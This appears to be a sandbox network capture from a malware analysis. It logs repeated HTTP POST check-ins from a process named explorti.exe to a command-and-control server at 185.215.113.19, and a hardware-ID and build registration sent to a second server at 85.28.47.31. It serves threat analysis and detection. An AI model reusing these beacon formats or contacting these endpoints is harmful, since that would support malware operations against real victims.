Jul 26, 2024 13:49:39.705745935 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:39.960980892 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	59083	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:40.072887897 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:40.861855984 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:40.873558044 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:41.123116016 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	59085	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:41.250303984 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:42.002022028 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:42.070463896 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:42.316497087 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	59088	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:42.441895962 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:43.210844994 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:43.220227003 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:43.480015993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	59089	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:43.610009909 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:44.365972996 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:44.424110889 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:44.671664000 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	59090	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:44.805674076 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:45.562659979 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:45.563498974 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:45.810388088 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	59093	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:45.941148043 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:46.834408998 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:46.840162992 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:47.085736036 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	59094	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:47.197700024 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:47.994868994 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:47.996802092 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:48.251249075 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	59095	85.28.47.31	80

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:47.636310101 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 26, 2024 13:49:48.243968010 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 26, 2024 13:49:48.253163099 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAAKFHIEGDGCAAAEGDG Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 44 41 31 44 41 37 38 35 35 44 37 32 32 38 34 35 38 32 31 32 37 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 2d 2d 0d 0a Data Ascii: ------DAAAKFHIEGDGCAAAEGDGContent-Disposition: form-data; name="hwid"8DA1DA7855D72284582127------DAAAKFHIEGDGCAAAEGDGContent-Disposition: form-data; name="build"sila------DAAAKFHIEGDGCAAAEGDG--
Jul 26, 2024 13:49:48.429894924 CEST	210	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 11:49:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	59097	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:48.368078947 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:49.123780966 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:49.125078917 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:49.376450062 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	59103	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:49.569547892 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:50.351557016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:50.413404942 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:50.875473022 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 13:49:50.876324892 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	59105	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:50.997657061 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:51.775301933 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:51.855667114 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:52.105048895 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	59109	34.107.221.82	80	4512	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:51.509885073 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Jul 26, 2024 13:49:51.967067957 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 25 Jul 2024 18:28:59 GMT Age: 62452 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Jul 26, 2024 13:49:56.735570908 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
